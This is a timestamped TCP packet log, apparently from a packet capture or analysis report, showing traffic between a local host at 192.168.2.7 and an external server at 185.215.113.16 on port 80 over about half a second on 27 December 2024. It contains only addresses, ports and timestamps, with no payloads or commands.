Dec 27, 2024 14:56:40.389651060 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.389712095 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.389826059 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.390528917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.390573025 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.390605927 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.390650034 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.391452074 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.391608000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.391648054 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.392409086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.392482996 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.392524004 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.393299103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.393403053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.393487930 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.394279957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.394386053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.394429922 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.395153999 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.395261049 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.396210909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.396250010 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.396317005 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.397033930 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.397073984 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.397133112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.397169113 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.397969007 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.398068905 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.398112059 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.398988962 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.399090052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.399910927 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.399951935 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.400073051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.400950909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.401000023 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.401021957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.401060104 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.401704073 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.401803970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.401844025 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.402636051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.402832985 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.403548956 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.403584957 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.403666019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.404522896 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.404561996 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.404635906 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.404679060 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.405503035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.405569077 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.405602932 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.406385899 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.406462908 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.406502008 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.407339096 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.407398939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.407443047 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.408221006 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.408335924 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.409153938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.409200907 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.409295082 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.410003901 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.410067081 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.410206079 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.410249949 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.411017895 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.411154985 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.411195040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.412106037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.412471056 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.412511110 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.414026976 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.414093971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.414649010 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.414670944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.414694071 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.414715052 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.415385008 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.415437937 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.415477037 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.416027069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.416064978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.416105032 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.416646957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.416766882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.417531967 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.417582989 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.417640924 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.417712927 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.418474913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.418592930 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.418641090 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.419420004 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.419512033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.419560909 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.420335054 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.420440912 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.420488119 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.421251059 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.421353102 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.421395063 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.422271013 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.422399998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.423141956 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.423186064 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.423306942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.423919916 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.424052000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.424175024 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.424216986 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.424993992 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.476178885 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.586772919 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.586803913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.586860895 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.587182045 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.587266922 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.587321997 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.588078022 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.588169098 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.588993073 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.589027882 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.589056015 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.589934111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.589977026 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.590028048 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.590069056 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.590894938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.590909004 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.590945959 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.591823101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.591912031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.591954947 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.592798948 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.592892885 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.593677044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.593720913 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.593748093 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.593839884 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.594616890 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.594698906 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.594738007 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.595525026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.595613003 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.595653057 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.596499920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.596642971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.596754074 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.597376108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.597507000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.597553968 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.598357916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.598520041 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.598577976 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.599261999 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.599351883 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.599442005 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.600184917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.600260019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.600315094 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.601103067 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.601224899 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.602046013 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.602096081 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.602155924 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.602989912 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.603034973 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.603069067 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.603843927 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.603954077 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.604037046 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.604075909 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.604859114 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.604937077 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.604976892 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.605803013 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.605885029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.606751919 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.606764078 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.606789112 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.606802940 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.607788086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.607906103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.607944965 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.608573914 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.608711958 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.608757019 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.609507084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.609632969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.610440016 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.610480070 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.610532045 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.611363888 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.611406088 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.611479998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.611705065 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.612349033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.612454891 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.612494946 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.613241911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.613353968 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.614187002 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.614237070 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.614265919 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.615089893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.615128040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.615181923 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.615220070 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.616058111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.616141081 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.616178989 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.616978884 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.617228031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.617903948 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.617949009 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.618009090 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.618858099 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.618904114 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.618911982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.619127035 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.619767904 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.619924068 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.620157003 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.620841026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.620860100 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.620904922 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.621653080 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.621754885 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.621794939 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.622575998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.622673035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.622714043 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.623518944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.623609066 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.623761892 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.624450922 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.624581099 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.624785900 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633004904 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633058071 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633095026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633127928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633155107 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633163929 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633187056 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633197069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633232117 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633264065 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633275032 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633297920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633301020 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633332014 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633366108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633398056 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633404970 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633433104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633466005 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633476019 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633502007 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633534908 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633543968 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633569956 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633609056 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633615017 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633791924 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.633835077 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.633874893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.634771109 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.634816885 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.634902954 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.634994030 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.635566950 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.679323912 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.806771040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.823395967 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.926341057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.926434040 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.926486015 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.926843882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.926932096 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.926983118 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.943279982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.943382978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.943425894 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.943742990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.943861008 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.943942070 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.944621086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.944736004 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.944843054 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.945481062 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.945653915 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.945863962 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.946449995 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.946540117 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.946650982 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.947386980 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.947475910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.947520971 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.948250055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.948369980 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.948424101 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.949212074 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.949362993 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.949659109 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.950180054 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.950357914 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.950404882 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.951045036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.951150894 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.951193094 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.952037096 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.952128887 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.952174902 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.952969074 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.953087091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.953128099 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.953869104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.953970909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.954014063 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.954811096 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.954884052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.954920053 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.955774069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.955832005 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.955878019 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.956675053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.956784010 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.956825018 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.957590103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.957680941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.957726002 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.958563089 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.958636999 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.958673954 CET	49759	80	192.168.2.7	185.215.113.16
